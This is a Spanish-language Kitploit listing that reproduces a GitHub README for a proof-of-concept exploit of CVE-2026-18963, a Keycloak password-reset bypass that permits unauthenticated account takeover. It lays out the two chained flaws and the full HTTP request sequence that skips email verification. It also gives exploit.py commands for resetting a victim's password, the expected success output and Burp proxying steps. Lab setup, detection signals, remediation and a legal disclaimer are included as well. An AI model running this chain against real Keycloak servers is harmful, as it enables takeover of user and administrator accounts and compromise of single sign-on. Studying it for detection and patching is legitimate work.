Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-18963-keycloak — Exploit de prueba de concepto para CVE-2026-18963, un bypass crítico de restablecimiento de credenciales de Keycloak que permite la toma de control de cuentas sin autenticación. Incluye configuración del laboratorio, guía de detección y pasos de remediación para pruebas autorizadas. | Kitploit
Herramientas/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebAutenticaciónAprendizaje y Educación
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

Ver Repositorio
3hace 18h 20mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Exploit de prueba de concepto para CVE-2026-18963, un bypass crítico de restablecimiento de credenciales de Keycloak que permite la toma de control de cuentas sin autenticación. Incluye configuración del laboratorio, guía de detección y pasos de remediación para pruebas autorizadas.

Compartir

CVE-2026-18963 — Bypass de Reset-Credentials en Keycloak → Toma de Control de Cuenta

Toma de control de cuenta no autenticada en el flujo de reset de credenciales de Keycloak. Un atacante que solo conozca un nombre de usuario/correo electrónico puede restablecer la contraseña de cualquier usuario — incluidos los administradores — sin recibir jamás el correo de verificación.

CVE CVSS CWE License


⚠️ Aviso legal — Solo uso ético

Esta prueba de concepto se publica estrictamente con fines educativos, investigación defensiva, ingeniería de detección y pruebas de seguridad autorizadas.

  • Úsala solo contra sistemas que sean tuyos o de los que tengas para probar. Acceder o modificar sistemas sin permiso es y poco ético.
autorización expresa por escrito
ilegal
  • Este es un recurso defensivo/educativo pensado para ayudar a los equipos a comprender, detectar y remediar CVE-2026-18963 — no para atacar a terceros.
  • El autor (red-darkin) NO asume ninguna responsabilidad ni obligación por cualquier uso indebido, daño o actividad ilegal realizada con este código. Eres el único responsable de cómo lo uses y de cumplir con todas las leyes aplicables.
  • Al descargar o usar este repositorio aceptas estos términos. Si no estás de acuerdo, no lo uses.
  • Consulta DISCLAIMER.md para la declaración completa.


    Resumen

    CVECVE-2026-18963
    SeveridadCrítica — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
    DebilidadCWE-640 — Mecanismo débil de recuperación de contraseña
    AfectadosKeycloak < 26.7.2 (upstream). También las versiones de Red Hat corregidas mediante los paquetes 26.6.6 / 26.4.15
    CorregidoKeycloak 26.7.2 (PR #51844)
    PrecondicionesForgot password (reset de credenciales) habilitado en el realm — la opción por defecto
    ImpactoToma de control total de cualquier cuenta (incluidos los administradores del realm) → compromiso del IdP + acceso SSO lateral

    Cómo funciona — dos errores encadenados

    El flujo de restablecimiento de contraseña (reset-credentials) normalmente te obliga a hacer clic en un enlace enviado por correo al propietario de la cuenta antes de poder establecer una nueva contraseña. Dos defectos permiten a un atacante omitir esa comprobación por completo:

    1. Estado "Try Another Way" sin ámbito — el manejador del selector de autenticadores almacena la nota AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" sin delimitar por el ID de ejecución. Reingresar al flujo deja la sesión de autenticación en un estado confuso/obsoleto.
    2. Falta de comprobación del token en el paso de correo — ResetCredentialEmail.action() llama a context.success() sin verificar ACTION_TOKEN_USER_ID (es decir, sin confirmar que el token de acción enviado por correo se consumió realmente).

    Encadenarlos avanza la sesión de autenticación directamente al paso UPDATE_PASSWORD para un usuario arbitrario, sin necesidad de correo.

    root@kitploit:~
    GET  /auth (client_id=account)                       ── página de login (tiene "Forgot password?")
    GET  /login-actions/reset-credentials …              ── formulario de selección de usuario
    POST …reset-credentials      tryAnotherWay=on        ── error #1: entrar al selector "Try Another Way"
    POST …reset-credentials      username=<victim>       ── seleccionar usuario mediante el selector
    GET  …/restart …                                     ── refrescar el estado de la sesión
    GET  /login-actions/reset-credentials …              ── reingresar → selector OBSOLETO (estado corrupto)
    POST …reset-credentials      username=<victim>       ── error #2: salta a UPDATE_PASSWORD (¡sin token!)
    POST /login-actions/required-action?execution=UPDATE_PASSWORD
            password-new=…&password-confirm=…            ── 302 → contraseña cambiada → TOMA DE CONTROL
    

    Consulta docs/ROOTCAUSE.md para ver el diff anotado del parche.


    Inicio rápido (laboratorio)

    Necesitas Docker y Python 3 con requests.

    root@kitploit:~
    # 1) Levantar un Keycloak vulnerable + realm/usuario de demostración  (cualquier versión < 26.7.2)
    ./run_lab.sh                 # usa keycloak/keycloak:26.5.0
    
    # 2) Ejecutar el exploit contra el usuario de demostración 'victim'
    pip install requests
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!'
    

    Salida final esperada:

    root@kitploit:~
    [7] *** formulario update-password servido SIN token ***
    [8] set-password -> HTTP 302
    [+] CVE-2026-18963 EXPLOTADO. Login: victim / Pwned-2026!
    

    Después inicia sesión como victim / Pwned-2026! para confirmar la toma de control.

    Control negativo (parcheado)

    root@kitploit:~
    KC_TAG=26.7.2 ./run_lab.sh
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!'
    # se detiene pronto — el formulario update-password nunca se sirve
    

    Uso

    root@kitploit:~
    python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
    
      --base       URL base de Keycloak, p. ej. http://127.0.0.1:8080
      --realm      realm objetivo (por defecto: master)
      --client     cliente público sin PKCE (por defecto: account)
      --victim     nombre de usuario o correo de la víctima
      --new-pass   contraseña a establecer
      --proxy      enrutar a través de un proxy, p. ej. http://127.0.0.1:8081 (Burp)
      -k           omitir la verificación TLS
    

    Cada respuesta HTTP se escribe en ./dump/ para su inspección.


    Proxying con Burp

    Keycloak ya usa 8080, así que apunta el listener de Burp a otro puerto (p. ej. 8081):

    root@kitploit:~
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!' \
        --proxy http://127.0.0.1:8081
    

    La cadena de peticiones cruda para Burp Repeater está en requests/burp-chain.txt.


    Detección

    Busca un cambio de contraseña que no haya ido precedido de verificación por correo en la misma sesión de autenticación:

    • Un evento UPDATE_PASSWORD sin un VERIFY_EMAIL / EXECUTE_ACTION_TOKEN previo para esa sesión.
    • Ráfagas de peticiones reset-credentials con tryAnotherWay=on.
    • Múltiples reingresos a login-actions/reset-credentials para el mismo tab_id.

    Remediación

    • Actualiza a Keycloak 26.7.2 (o a la versión corregida de Red Hat) — máxima prioridad.
    • Mitigación temporal: Realm settings → Login → Forgot password = Off.
    • Tras el parche: rota las credenciales de administrador, fuerza un nuevo inicio de sesión después de los resets y alerta sobre las señales de detección anteriores.

    Referencias

    • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
    • PR de corrección #51844 — https://github.com/keycloak/keycloak/pull/51844
    • Issue #51833 — https://github.com/keycloak/keycloak/issues/51833
    • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

    Demo

    Una ejecución completa está grabada en CVE-2026-18963.mp4 (en la raíz del repositorio).

    Créditos

    • red-darkin — reproducción en laboratorio, PoC y write-up.
    • Claude (Anthropic) — asistencia en la investigación y el desarrollo de la PoC.

    La cadena se corroboró contra el parche público de Keycloak (PR #51844) y write-ups de la comunidad.

    Licencia

    MIT © red-darkin — solo para uso educativo y pruebas autorizadas.

    Descargar herramienta